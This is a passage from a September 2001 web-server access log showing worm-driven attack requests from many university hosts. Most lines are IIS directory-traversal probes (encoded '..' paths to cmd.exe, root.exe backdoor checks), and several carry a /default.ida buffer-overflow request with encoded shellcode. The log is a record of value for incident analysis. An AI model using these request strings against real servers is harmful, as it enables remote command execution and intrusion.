HTTP/1.0" 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:00: [128.121.246.52] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:18: [128.121.246.52] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:36: [128.121.246.52] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:31:55: cc.ucsf.edu [128.218.159.27] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:31:55: [128.121.246.52] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:17: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:17: [128.121.246.52] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:32:36: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:37: [128.121.246.52] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:32:57: [128.121.246.52] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:33:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:33:16: [128.121.246.52] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:37: [128.121.246.52] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:57: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:33:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:33:57: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:33:57: [128.121.246.52] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:15: [128.121.246.52] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:34:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:22: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:35:23: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:36:34: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:36:50: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:36:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:42:32: [128.200.135.51] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:43:14: [128.200.135.51] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:43:32: bus84-232.gsb.columbia.edu [128.59.84.232] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:43:32: [128.200.135.51] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:43:51: [128.200.135.51] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:44:09: [128.200.135.51] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:44:27: [128.200.135.51] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:44:46: [128.200.135.51] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:45:04: [128.200.135.51] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:45:23: [128.200.135.51] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:45:41: [128.200.135.51] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:45:59: [128.200.135.51] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:46:18: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:46:18: [128.200.135.51] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:46:37: vtoch.uusa.vt.edu [128.173.232.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:46:38: [128.200.135.51] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:46:56: vtoch.uusa.vt.edu [128.173.232.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:46:56: vtoch.uusa.vt.edu [128.173.232.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:46:56: [128.200.135.51] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:14: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:14: [128.200.135.51] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:32: vtoch.uusa.vt.edu [128.173.232.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:33: vtoch.uusa.vt.edu [128.173.232.203] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:33: [128.200.135.51] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:47:52: bus84-232.gsb.columbia.edu [128.59.84.232] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:51:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:56:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:56:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 